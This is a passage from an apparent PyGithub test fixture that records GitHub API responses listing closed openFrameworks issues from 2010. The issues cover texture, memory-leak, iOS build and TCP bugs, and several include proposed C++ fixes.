port","labels":[],"closed_at":"2011-03-13T20:09:51Z","created_at":"2010-09-28T18:23:38Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":337154,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-01-16T00:05:49Z","body":"multiplatform open/save file dialog functions with parameters for files/dirs, once closed it returns the name of the chosen file/dir or empty string if cancel was pressed","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/235","comments":1,"milestone":null,"number":235,"html_url":"https://github.com/openframeworks/openFrameworks/issues/235","assignee":null,"title":"ofOpenFileDialog/ofSaveFileDialog","labels":[],"closed_at":"2011-01-16T00:05:49Z","created_at":"2010-09-24T15:20:31Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":331578,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2010-09-24T10:33:07Z","body":"right now to apply rotations, translations and scales to an existent matrix4x4, you need to use preMult or postMult, add more simple methods. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/234","comments":1,"milestone":null,"number":234,"html_url":"https://github.com/openframeworks/openFrameworks/issues/234","assignee":null,"title":"create more understandable methods fo matrix4x4 for basic operations","labels":[],"closed_at":"2010-09-24T10:33:07Z","created_at":"2010-09-24T10:28:36Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":331253,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2010-10-05T12:56:47Z","body":"Hi. FreeImage and FreeType generate several warnings for me. They generally are the result of the dsymutil failing while attempting to create the dSYM file. \r\n\r\nWarnings look like this:\r\n\r\nwarning: (armv6) libs/freetype/lib/iphone/libFreeType_iphone_universal.a(ftinit.o) object file 'libs/freetype/lib/iphone/libFreeType_iphone_universal.a(ftinit.o)' doesn't contain architecture information for armv6.\r\n\r\nAnd when building for the simulator I get a lot of these: \r\n\r\nwarning: invalid DWARF generated by the compiler: DIE 0x000016a6 has multiple AT_byte_size attributes in 'libs/FreeImage/lib/iphone/libFreeImage_iphone_universal.a'\r\n\r\nIs there a way to clean these warnings up?\r\n\r\nThanks!!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/233","comments":2,"milestone":null,"number":233,"html_url":"https://github.com/openframeworks/openFrameworks/issues/233","assignee":null,"title":"Warnings from missing/invalid debug info (iPhone)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"}],"closed_at":"2010-10-05T12:56:47Z","created_at":"2010-09-21T04:24:45Z","state":"closed","user":{"url":"https://api.github.com/users/colevscode","gravatar_id":"136e4c02a3c6c6012aef63553d01f70f","login":"colevscode","avatar_url":"https://secure.gravatar.com/avatar/136e4c02a3c6c6012aef63553d01f70f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":409293},"id":325829,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2010-10-05T12:56:28Z","body":"currently most libs are armv6 - if you try and make an app which is armv7 and \"only build active archs\" is not checked you get an error as the code for the armv7 part of the binary does not exist for poco freeimage etc. \r\n\r\nshould we make armv6 and armv7 joined libs for all iphone?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/232","comments":1,"milestone":null,"number":232,"html_url":"https://github.com/openframeworks/openFrameworks/issues/232","assignee":null,"title":"armv7 for all iphone libs?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"}],"closed_at":"2010-10-05T12:56:28Z","created_at":"2010-09-20T14:02:21Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":324604,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2010-09-24T17:39:36Z","body":"found on vista, just ran into it again on win 7. fix described here:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=21020#p21020\r\n\r\nalso, thanks to arturo for already adding fstream to ofConstants :) :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/231","comments":4,"milestone":null,"number":231,"html_url":"https://github.com/openframeworks/openFrameworks/issues/231","assignee":null,"title":"ofConstants.h fails to compile with recent code::blocks on windows","labels":[],"closed_at":"2010-09-24T21:21:56Z","created_at":"2010-09-19T21:03:52Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":323813,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2010-09-24T14:56:53Z","body":"Calling in virtual void brightnessContrast(float brightness, float contrast); in ofxCvGrayscaleImage.h crashes out.\n\n // (uses values between -100 and 100)\n\nIs also incorrect? Peeking at the code appears as if the code is expecting values between -1.f and 1.f inclusive.\n\nE.g.\n\n\t\tdouble delta = 127.*contrast;\n\t\tdouble a = 255./(255. - delta*2);\n\t\tdouble b = a*(brightness*100 - delta);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/230","comments":2,"milestone":null,"number":230,"html_url":"https://github.com/openframeworks/openFrameworks/issues/230","assignee":null,"title":"openCV BrightnessContrast crashes","labels":[],"closed_at":"2010-09-24T14:56:53Z","created_at":"2010-09-16T14:58:01Z","state":"closed","user":{"url":"https://api.github.com/users/JGL","gravatar_id":"e28464b00d9bd8370fa47b92d7a192f2","login":"JGL","avatar_url":"https://secure.gravatar.com/avatar/e28464b00d9bd8370fa47b92d7a192f2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":243074},"id":319613,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2010-09-24T13:12:51Z","body":"ofSoundStreamClose causes segmentation fault on linux.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/229","comments":4,"milestone":null,"number":229,"html_url":"https://github.com/openframeworks/openFrameworks/issues/229","assignee":null,"title":"Segmentation fault on application closing","labels":[],"closed_at":"2010-09-24T13:12:51Z","created_at":"2010-09-11T15:02:13Z","state":"closed","user":{"url":"https://api.github.com/users/ptrv","gravatar_id":"7bed46e1c078b29fad9f44f8e0a113bd","login":"ptrv","avatar_url":"https://secure.gravatar.com/avatar/7bed46e1c078b29fad9f44f8e0a113bd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":49775},"id":312043,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}},{"updated_at":"2011-03-13T20:00:26Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/226","comments":3,"milestone":null,"number":226,"html_url":"https://github.com/openframeworks/openFrameworks/issues/226","assignee":null,"title":"do we need copy constructor for ofTexture?","labels":[],"closed_at":"2011-03-13T20:00:26Z","created_at":"2010-09-08T14:35:38Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":307668,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=31&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4965'), ('content-length', '32545'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"dc08421a13110890dc53b3e876eb34d5"'), ('date', 'Tue, 29 May 2012 18:46:53 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2010-09-09T14:11:39Z","body":"0061\nLooks like there is a malloc without a free in ofxDirlist.h, tested on Windows 7. I patched as this forum post explains but there is probably a nicer way...\n\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4450&p=22909","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/223","comments":1,"milestone":null,"number":223,"html_url":"https://github.com/openframeworks/openFrameworks/issues/223","assignee":null,"title":"ofxDirList memory leak","labels":[],"closed_at":"2010-09-09T14:11:39Z","created_at":"2010-08-20T08:54:52Z","state":"closed","user":{"url":"https://api.github.com/users/darrencperry","avatar_url":"https://secure.gravatar.com/avatar/b2ef53381472a5b480dea39905e09f15?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b2ef53381472a5b480dea39905e09f15","login":"darrencperry","id":370601},"id":284261,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-13T19:59:33Z","body":"E-Mail:wanglei198428@163.com\r\nThe openFrameworks haven't supported the Live-streaming on IPhone?\r\nI just have a demo about playing local avi files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/222","comments":1,"milestone":null,"number":222,"html_url":"https://github.com/openframeworks/openFrameworks/issues/222","assignee":null,"title":"Who could give me a Live-streaming video's Demo for IPhone","labels":[],"closed_at":"2011-03-13T19:59:33Z","created_at":"2010-08-19T03:15:42Z","state":"closed","user":{"url":"https://api.github.com/users/draco99","avatar_url":"https://secure.gravatar.com/avatar/39d4459e5668d771b421df83933b3b6c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"39d4459e5668d771b421df83933b3b6c","login":"draco99","id":324149},"id":282926,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-09-10T08:54:04Z","body":"ofTexture does not set textureID back to 0 after glDeleteTextures is called in ofTexture::clear . \n\nIf you do myTex.clear(); and allocate some other textures somewhere else. Then do myTex.loadData ( or ofImage::loadImage ) the clear() call that happens inside ofTexture::allocate will see that the ID of myTex.texData.textureID is not 0 and then try and clear it. This texture id number has a very good chance of being an ID of an existing texture. So the clear call trashes another bound texture. \n\nFix is very simple:\n\nReplace this:\n\n\t//----------------------------------------------------------\n\tvoid ofTexture::clear(){\n\t\t// try to free up the texture memory so we don't reallocate\n\t\tif (texData.textureID != 0){\n\t\t\tglDeleteTextures(1, (GLuint *)&texData.textureID);\t\t\t\n\t\t}\n\n\t\ttexData.bAllocated = false;\n\t}\n\nWith:\n\n\n\t//----------------------------------------------------------\n\tvoid ofTexture::clear(){\n\t\t// try to free up the texture memory so we don't reallocate\n\t\tif (texData.textureID != 0){\n\t\t\tglDeleteTextures(1, (GLuint *)&texData.textureID);\n\t\t\t//reset the tex id\t\t\t\n\t\t\ttexData.textureID = 0;\n\t\t}\n\t\ttexData.bAllocated = false;\n\t}\n\n\nReplicate:\nTo replicate the bug you can add this to the top of the current ofTexture.cpp file\n\n\t\tstatic int numAllocated = 0;\n\t\tstatic int numFreed = 0;\n\nThen in ofTexture::allocate\n\nunder this line:\n\tglGenTextures(1, (GLuint *)&texData.textureID); // could be more then one, but for now, just one\n\nadd:\n\tif( texData.textureID != 0 ){\n\t\tnumAllocated++;\n\t}\n\nthen in ofTexture::clear\n\nunder this line:\n\t\t\tglDeleteTextures(1, (GLuint *)&texData.textureID);\n\nadd:\n\t\t\tnumFreed++;\n\t\t\tprintf(\"ofTexture num allocated / free = %i / %i \\n\", numAllocated, numFreed);\n\nNow in the top of your main OF app \n\n\t\t\tvector tex;\n\nin testApp::setup();\n\n\t\t\ttex.assign(10, ofTexture());\n\t\t\tfor(int k = 0; k < tex.size(); k++)tex[k].allocate(32, 32, GL_RGB);\n\nin testApp::keyPressed\n\n\t\t\tfor(int k = 0; k < 5; k++)tex[k].clear();\n\nif there is no bug the numAllocated / free print out should be something like this:\n\t\tofTexture num allocated / free = 10 / 5\n\nbut if the bug exists the second number should go up on each key press ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/221","comments":2,"milestone":null,"number":221,"html_url":"https://github.com/openframeworks/openFrameworks/issues/221","assignee":null,"title":"Crazy ofTexture::Clear() Bug!! textureID not being reset to 0 - trashes other textures","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-09-10T08:54:04Z","created_at":"2010-08-15T23:49:06Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":279264,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-09-20T11:58:00Z","body":"char * machine was not being freed. \n\nchange to:\n\n\t//--------------------------------------------------------------\n\tstring ofxiPhoneGetDeviceRevision() {\n\t\tsize_t size;\n\t\tsysctlbyname(\"hw.machine\", NULL, &size, NULL, 0);\n\t\t\n\t\tif( size > 0 ){\n\t\t\tchar * machine;\n\t\t\tmachine = new char[size];\n\t\t\tsysctlbyname(\"hw.machine\", machine, &size, NULL, 0);\n\t\t\n\t\t\tstring device(machine);\n\t\t\t\n\t\t\tdelete[] machine;\n\t\t\t\t\n\t\t\treturn device;\n\t\t}else{\n\t\t\treturn \"\";\n\t\t}\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/220","comments":1,"milestone":null,"number":220,"html_url":"https://github.com/openframeworks/openFrameworks/issues/220","assignee":null,"title":"iphone ofxiPhoneGetDeviceRevision memory leak","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-09-20T11:58:00Z","created_at":"2010-08-15T22:03:48Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":279188,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-09-20T11:58:00Z","body":"This is because in the setupScreen code it is pulling the size of W and H from the key window - if this window has a small view like the UIAlertView this causes the opengl view in the background to look funky. The correct approach is to use ofGetWidth and ofGetHeight which return the cached app width and height regardless of the small view being shown. \r\n\r\nTo fix remove ofAppiPhoneWindow::timerLoop :\r\n\r\n\tif(bEnableSetupScreen) {\r\n\t\tint w, h;\r\n\t\t\r\n\t\tCGSize s = [[[UIApplication sharedApplication] keyWindow] bounds].size;\r\n\t\tw = s.width;\r\n\t\th = s.height;\r\n\r\nand replace with:\r\n\r\n\tif(bEnableSetupScreen) {\r\n\t\tint w, h;\r\n\t\t\r\n\t\tswitch(orientation) {\r\n\t\t\tcase OFXIPHONE_ORIENTATION_LANDSCAPE_RIGHT:\r\n\t\t\t\t\th = ofGetWidth();\r\n\t\t\t\t\tw = ofGetHeight();\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\tcase OFXIPHONE_ORIENTATION_LANDSCAPE_LEFT:\r\n\t\t\t\t\th = ofGetWidth();\r\n\t\t\t\t\tw = ofGetHeight();\r\n\t\t\t\tbreak;\r\n\t\r\n\t\t\tdefault:\r\n\t\t\t\tw = ofGetWidth();\r\n\t\t\t\th = ofGetHeight();\r\n\t\t\tbreak;\r\n\t\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/219","comments":1,"milestone":null,"number":219,"html_url":"https://github.com/openframeworks/openFrameworks/issues/219","assignee":null,"title":"iPhone opengl scales when UIAlertView comes up","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-09-20T11:58:00Z","created_at":"2010-08-13T17:56:24Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":277753,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-09-20T11:50:25Z","body":"Looks like the LITTLE_ENDIAN define is not made. \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=22693#p22693\r\n\r\nmaybe this is better solved in ofConstants.h by defining LITTLE_ENDIAN for iphone OS? ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/218","comments":2,"milestone":null,"number":218,"html_url":"https://github.com/openframeworks/openFrameworks/issues/218","assignee":null,"title":"iphone rgb swap needed in iOS4 ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-09-20T11:50:25Z","created_at":"2010-08-10T21:52:35Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":274613,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-10-05T13:13:02Z","body":"Note that his diff is backwards - the size should be change from 256 to 64\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=22640&#p22640","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/217","comments":1,"milestone":null,"number":217,"html_url":"https://github.com/openframeworks/openFrameworks/issues/217","assignee":null,"title":"ofVideoGrabber listDevices memcpy issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-10-05T13:13:02Z","created_at":"2010-08-09T14:51:39Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":273034,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-07-04T13:20:43Z","body":"if not the callback can try to call the audioReceived/Requested method in testApp when it's been destroyed","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/216","comments":2,"milestone":null,"number":216,"html_url":"https://github.com/openframeworks/openFrameworks/issues/216","assignee":null,"title":"ofSoundStream should be closed when the app ends","labels":[],"closed_at":"2010-09-10T08:54:04Z","created_at":"2010-08-06T18:48:02Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":270810,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-13T19:55:55Z","body":"I suggest in ofConstants.h replacing the definitions of these OF_IMAGE values:\r\n\r\n\t#define \tOF_IMAGE_GRAYSCALE\t\tGL_LUMINANCE\r\n\t#define \tOF_IMAGE_COLOR\t\t\tGL_RGB\r\n\t#define \tOF_IMAGE_COLOR_ALPHA\tGL_RGBA\r\n\t#define \tOF_IMAGE_UNDEFINED\t\tGL_NONE\r\n\r\nThis is a completely backward compatible change, but makes it more intuitive to allocate textures.\r\n\r\nYesterday I tried:\r\n\r\n\tofTexture tex;\r\n\ttex.allocate(w, h, OF_IMAGE_COLOR);\r\n\r\nAnd spent a few hours trying to figure out why my texture was grayscale :(","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/215","comments":2,"milestone":null,"number":215,"html_url":"https://github.com/openframeworks/openFrameworks/issues/215","assignee":null,"title":"make OF_IMAGE constants compatible with GL constants","labels":[],"closed_at":"2011-03-13T19:55:55Z","created_at":"2010-08-05T21:53:45Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":270080,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-09-24T14:14:29Z","body":"When you call receiveRaw() you get whatever is in ofxTCPClient's internal tmpBuff, up to the first null, but the class gets its data from a method that reads bytes, not c strings - i.e. no null terminator, just an array of bytes and a length. So you just need to put the null in at the end.\r\n\r\nPatch below.\r\n\r\n string ofxTCPClient::receiveRaw(){\r\n messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\r\n if(messageSize==0){\r\n close();\r\n } else if(messageSize x + width && py > y + height ){\r\n\t\t return false;\r\n\t\t}\r\n\t\treturn true;\r\n\r\nshould be:\r\n\r\n\t\tif( px < x || py < y || px > x + width || py > y + height ){\r\n\t\t return false;\r\n\t\t}\r\n\t\treturn true;","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/211","comments":3,"milestone":null,"number":211,"html_url":"https://github.com/openframeworks/openFrameworks/issues/211","assignee":null,"title":"ofRectangle::inside has bad logic","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2010-09-09T20:56:23Z","created_at":"2010-07-21T14:38:46Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":255463,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-09-24T14:10:09Z","body":"ofBaseVideo inherits getPixels() from ofBaseHasPixels, but redeclares it anyway. the fix is as simple as removing this line from ofBaseVideo:\r\n\r\nvirtual unsigned char * getPixels()=0;","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/210","comments":1,"milestone":null,"number":210,"html_url":"https://github.com/openframeworks/openFrameworks/issues/210","assignee":null,"title":"ofBaseVideo redeclares getPixels()","labels":[],"closed_at":"2010-09-24T14:10:09Z","created_at":"2010-07-11T00:14:57Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":244074,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-09-24T14:08:23Z","body":"ofxCvContourFinder could do with a pushstyle/popstlye on it's draw:\r\n\r\n\r\n\tvoid ofxCvContourFinder::draw( float x, float y, float w, float h ) {\r\n\r\n\t\tofPushStyle();\r\n\t.\r\n\t.\r\n\t.\r\n\t\tofPopStyle();\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/209","comments":1,"milestone":null,"number":209,"html_url":"https://github.com/openframeworks/openFrameworks/issues/209","assignee":null,"title":"ofxCvContourFinder's draw changes style","labels":[],"closed_at":"2010-09-24T14:08:23Z","created_at":"2010-07-10T15:20:54Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":243851,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-09-24T14:01:43Z","body":"Hey all\n\nThis might have already been spotted / fixed\n\nIt seems that if you've got bUseTexture to true in ofxCvImage, then it will still only update the texture when draw is called (which isn't entirely what you want if you want to draw the texture elsewhere without calling the draw command)\n\nanyway. might be good to change this in future releases if not already fixed\n\nto get around it myself, i moved the texture update from draw() into an update() function which is also called from draw() (so you dont need to call both update() and draw(), as before. but if you want to use the texture without calling draw, then you can use update to fill the texture).\n\nthe update could instead be called whenever the image is set\n\ncode below:\n\tvoid ofxCvImage::update()\n\t{\n\t\tif( bTextureDirty ) {\n\t\t\tif(tex.getWidth() != width || tex.getHeight() != height) {\n\t\t\t\t//ROI was changed\n\t\t\t\t// reallocating texture - this could be faster with ROI support\n\t\t\t\ttex.clear();\n\t\t\t\ttex.allocate( width, height, glchannels );\n\t\t\t}\n\t\t\ttex.loadData( getPixels(), width, height, glchannels );\n\t\t\tbTextureDirty = false;\n\t\t}\n\t}\n\n\t//--------------------------------------------------------------------------------\n\tvoid ofxCvImage::draw( float x, float y ) {\n\t\tdraw( x,y, width, height );\n\t}\n\n\t//--------------------------------------------------------------------------------\n\tvoid ofxCvImage::draw( float x, float y, float w, float h ) {\n\t\tif( bUseTexture ) {\n\t\t\tupdate();\n\t\t\t\n\t\t\ttex.draw(x,y, w,h);\n\t\t\t\n\t\t} else {\n\t\t\t..\n\t\t\t..\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/208","comments":1,"milestone":null,"number":208,"html_url":"https://github.com/openframeworks/openFrameworks/issues/208","assignee":null,"title":"ofxCvImage creates texture on draw","labels":[],"closed_at":"2010-09-24T14:01:43Z","created_at":"2010-07-10T15:18:18Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":243849,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-04T14:00:09Z","body":"I tested this with the pre3 0061 version.\r\nIn a screenshot this look odd since the negative part is cutted completely but the offset rises with a higher volume dynamically. Looks like a mixture of an AGC and a wrong data type.\r\n\r\nWith the build in microphone next to the wide connector the signal is as it should.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/207","comments":2,"milestone":null,"number":207,"html_url":"https://github.com/openframeworks/openFrameworks/issues/207","assignee":null,"title":"iphone input example: not symmetric for headset microphone input","labels":[],"closed_at":"2011-12-04T14:00:09Z","created_at":"2010-07-04T14:12:30Z","state":"closed","user":{"url":"https://api.github.com/users/fah","avatar_url":"https://secure.gravatar.com/avatar/c946a36b97631c842d9fbc54be476a7b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c946a36b97631c842d9fbc54be476a7b","login":"fah","id":322496},"id":238386,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-09-24T18:31:41Z","body":"If you have an ofImage which you have disabled texture loading on and resize it - it trys to allocate a texture.\r\n\r\n//fix is \r\n\tif (!( (width == w) && (height == h) && (type == newType) ) ){\r\n\t\tbool bCacheBUseTexture = bUseTexture; //new\r\n\t\tclear();\r\n\t\tbUseTexture = bCacheBUseTexture; //new\r\n\t\tallocate(w, h, newType);\r\n\t}\r\n\r\nNOTE: we should check ofImage.cpp for other instances.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/206","comments":1,"milestone":null,"number":206,"html_url":"https://github.com/openframeworks/openFrameworks/issues/206","assignee":null,"title":"Nasty ofImage bug - if you do resize(newWidth, newHeight) the call to clear() reset the 